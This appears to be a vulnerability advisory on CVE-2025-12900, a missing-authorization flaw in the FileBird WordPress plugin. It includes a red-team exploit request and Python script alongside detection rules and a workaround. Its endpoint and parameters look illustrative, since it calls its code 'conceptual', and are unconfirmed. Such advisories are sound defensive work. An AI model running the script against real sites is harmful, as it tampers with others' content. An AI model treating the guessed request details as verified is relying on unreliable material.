CVE-2025-12900

Executive Summary

CVE-2025-12900 is a missing authorization vulnerability in the FileBird – WordPress Media Library Folders & File Manager plugin, affecting all versions up to and including 6.5.1. The flaw resides in the ConvertController::insertToNewTable function, which fails to properly validate a user-controlled key. This allows authenticated attackers with Author-level access or higher to inject global folders and reassign arbitrary media attachments to those folders under certain circumstances. The vulnerability has a CVSS score of 4.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The FileBird plugin is a popular media library management tool, and the flaw affects its core functionality for folder creation and media reassignment. The attack vector is network-based, requires low complexity, and only requires low-level authenticated access (Author role). The impact is limited to integrity (folder injection and media reassignment) with no confidentiality or availability impact.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Author-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Folder injection and media reassignment
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to manipulate folder structures and reassign media can lead to organizational disorganization, potential data leakage through misclassification, and could be a stepping stone for further attacks.

Deep Dive & Mechanics

The vulnerability is rooted in the ConvertController::insertToNewTable function within the FileBird plugin. This function is responsible for converting legacy folder structures to a new table format. The function accepts a user-controlled key parameter that is used to determine the target folder and media assignments. Due to missing authorization checks, an authenticated attacker with Author-level access can:

1. Inject Global Folders: Create folders that are visible to all users, potentially with misleading names.
2. Reassign Media Attachments: Move arbitrary media files (images, documents, etc.) to these injected folders, potentially hiding or misclassifying content.

The attack requires the attacker to be authenticated and have at least Author-level permissions. The function does not verify that the user has the right to create global folders or reassign media belonging to other users. The key parameter is not sanitized or validated against the current user's capabilities.

Attack Flow:

1. Attacker logs in with Author-level credentials.
2. Attacker crafts a request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=filebird_convert&key=malicious_value).
3. The ConvertController::insertToNewTable function processes the request without checking if the user is authorized to perform the action.
4. Attacker injects a global folder and reassigns media attachments to it.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require adding a capability check (e.g., current_user_can('manage_options') or a custom capability) before executing the folder injection and media reassignment logic.

Vulnerable Code (Conceptual):

class ConvertController {
    public function insertToNewTable() {
        $key = $_POST['key']; // User-controlled, no validation
        // Process folder injection and media reassignment based on $key
        // No capability check
    }
}

Patched Code (Conceptual):

class ConvertController {
    public function insertToNewTable() {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
        $key = sanitize_text_field($_POST['key']);
        // Process folder injection and media reassignment
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with FileBird plugin version <= 6.5.1
• Author-level user credentials

Exploitation Steps:

1. Log in as an Author-level user.
2. Craft a POST request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-wordpress-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [authenticated session cookie]
   
   action=filebird_convert&key=malicious_folder_key&folder_name=InjectedFolder&media_ids=123,456
   

3. The plugin will create a global folder named "InjectedFolder" and reassign media IDs 123 and 456 to it.

Automation Script (Python):

import requests

target = "http://target-wordpress-site.com"
session = requests.Session()
# Authenticate first (simplified)
session.post(f"{target}/wp-login.php", data={"log": "author_user", "pwd": "password"})

payload = {
    "action": "filebird_convert",
    "key": "malicious_key",
    "folder_name": "InjectedFolder",
    "media_ids": "123,456"
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.text)

Blue Team

Detection Steps:

1. Monitor for unusual admin-ajax.php requests with action=filebird_convert from Author-level users.
2. Check for unexpected global folders created by non-admin users.
3. Review media attachment reassignment logs for anomalies.

Honeypot Setup:

• Create a decoy media file and monitor for its reassignment to unexpected folders.
• Log all filebird_convert actions with user context.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=filebird_convert parameter.
  • Unusual key parameter values (e.g., not matching expected conversion patterns).
• File System IOCs:
  • Unexpected global folders in the FileBird folder structure.
  • Media files reassigned to folders they were not originally in.
• Log IOCs:
  • WordPress debug logs showing ConvertController::insertToNewTable calls from Author-level users.
  • Audit logs (if enabled) showing folder creation or media reassignment by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_12900_FileBird_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12900 in FileBird plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12900"
    strings:
        $ajax_action = "action=filebird_convert"
        $key_param = "key="
        $folder_param = "folder_name="
        $media_param = "media_ids="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12900 FileBird Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-12900 via admin-ajax.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=filebird_convert'
    condition: selection
falsepositives:
    - Legitimate FileBird conversion operations by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12900 FileBird Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=filebird_convert"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the FileBird plugin until a patch is released.
2. Restrict Author-level permissions to prevent access to the vulnerable functionality.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the official patch from the vendor once released.
• Implement a Web Application Firewall (WAF) rule to block requests with action=filebird_convert from non-admin users.
• Conduct a security audit of all WordPress plugins for similar authorization flaws.

Workaround:

• Add a custom capability check via a WordPress plugin or theme functions.php:

  add_action('wp_ajax_filebird_convert', function() {
      if (!current_user_can('manage_options')) {
          wp_die('Unauthorized', 403);
      }
  }, 1);
  

Valters IT
Securing Digital Frontiers